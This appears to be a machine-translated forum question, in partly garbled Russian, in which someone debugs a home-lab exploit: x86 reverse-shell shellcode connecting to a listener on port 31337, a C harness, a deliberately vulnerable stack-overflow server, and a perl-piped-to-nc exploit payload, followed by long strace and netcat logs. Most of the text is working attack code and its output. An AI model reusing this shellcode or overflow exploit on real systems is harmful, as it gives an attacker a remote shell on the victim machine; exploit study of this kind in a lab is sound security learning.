Добрый день. Я искал какое-то время, что происходит с этим шеллкодеком. Это код ASM:Этот шеллкод и головная боль
add esp, 0x3c
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 102 ; __NR_socketcall
inc bl ; socket
push ecx
push 0x6 ; IPPROTO_TCP
push 0x1 ; SOCK_STREAM
push 0x2 ; AF_INET
mov ecx, esp
int 0x80 ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov esi, eax ; esi = socket descriptor
mov al, 0x66 ; __NR_socketcall
mov bl, 0x2
push 0x1201a8c0 ; addr =
push word 0x697a ; port = 31337
push bx ; AF_INET
inc bl
mov ecx, esp
push 0x10
push ecx
push esi
mov ecx, esp
int 0x80
xor ecx, ecx
mov cl, 3
bucle:
dec cl
mov al, 0x3f
int 0x80
jne bucle
xor eax, eax
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
push edx
mov edx, esp
mov al, 0xb
int 0x80
добавить особ, 0x3c на Зачин, чтобы избежать шеллкода перезаписана себя. Он работает ensambling с NASM sc.asm, получение опкоды с XXD и его выполнения, используя этот код С:
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66" \
"\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89" \
"\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68" \
"\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53" \
"\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1" \
"\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f" \
"\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f" \
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" \
"\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
void main()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
Экран 1:
[email protected]:~/exploiting/remote$ ./prueba
Экран 2:
[email protected]:~/exploiting/remote$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50026 whoami arget exit sent 12, rcvd 6 [email protected]:~/exploiting/remote$
Но все изменилось, используя другой код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int vuln(char* arg, int newsockfd)
{
int n;
char vul[128];
strcpy(vul, arg);
n = write(newsockfd, vul, strlen(vul));
return n;
}
void shell()
{
__asm__("jmp *%ecx");
}
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if(argc < 2)
{
fprintf(stderr, "ERROR, no se ha indicado puerto\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
error("ERROR al abrir el socket");
bzero((char*) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR en bind()");
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
if(newsockfd < 0)
error("ERROR en accept");
bzero(buffer, 256);
n = read(newsockfd, buffer, 255);
if(n < 0)
error("ERROR leyendo del socket");
printf("%s", buffer);
n = vuln(buffer, newsockfd);
if(n < 0)
error("ERROR escribiendo en el socket");
close(newsockfd);
close(sockfd);
return 0;
}
Составлено с gcc v.c -o v -z execstack. Анализируя его с помощью gdb, мы можем видеть в vuln(), что он резервирует 140 байт до EBP, поэтому 144 перед EIP. Также мы видим, что в момент выполнения ret ecx попадает в наш буфер. С objdump -d v мы получаем addres jmp *%ecx
: 0x0804875c, и мы можем использовать его для обхода ASLR.
Открыт терминал выполнение пса -lvvp31337 на машине атакующей, мы можем приступить к нападению, на зараженном компьютере мы выполняем стеку overflowable программы: ./v 1337 и на атакующей машине мы посылаем:
perl -e 'print "\x83\xc4\x3c\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xac\x1a\x9d\xf1\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 192.168.1.11 1337
В консоли «н.д. -lvvp31337» результат заключается в следующем:
[email protected]:~$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50030 sent 0, rcvd 0 [email protected]:~$
соединение было на самом деле здесь, но это необъяснимо закрыто. Если мы проследим системные вызовы с «Трассирование ./v 1337» результаты после атаки таковы:
[email protected]:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL) = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ) = 0
mprotect(0xb77bc000, 4096, PROT_READ) = 0
munmap(0xb7778000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ) = 0
mprotect(0xb77ab000, 4096, PROT_READ) = 0
mprotect(0xb778c000, 4096, PROT_READ) = 0
munmap(0xb7748000, 127778) = 0
getpid() = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 1991
brk(NULL) = 0xb88bf000
brk(0xb88e0000) = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192) = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0) = ?
+++ exited with 0 +++
[email protected]:~/exploiting/remote$
Хорошо, как мы можем видеть Шеллкод выполняется, и она работает хорошо, пока он не вызывает// bin/sh, который неожиданно завершает работу.
Сравнивая это с программой «Prueba» в начале поста, подчеркивает, что они понимают, что практически одни и те же системные вызовы, смотрите:
[email protected]:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL) = 0x8656000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ) = 0
mprotect(0xb776c000, 4096, PROT_READ) = 0
munmap(0xb7728000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ) = 0
mprotect(0xb7720000, 4096, PROT_READ) = 0
mprotect(0xb7701000, 4096, PROT_READ) = 0
munmap(0xb76bd000, 127778) = 0
getpid() = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 2027
brk(NULL) = 0xb89de000
brk(0xb89ff000) = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192) = 5
exit_group(0) = ?
+++ exited with 0 +++
[email protected]:~/exploiting/remote$
И в «н.д. -lvvp31337»:
[email protected]:~$ nc -lvvp31337 listening on [any] 31337 ... connect to [192.168.1.18] from kali [192.168.1.18] 50779 exit sent 5, rcvd 0 [email protected]:~$
У кого-нибудь есть идеи, в чем проблема?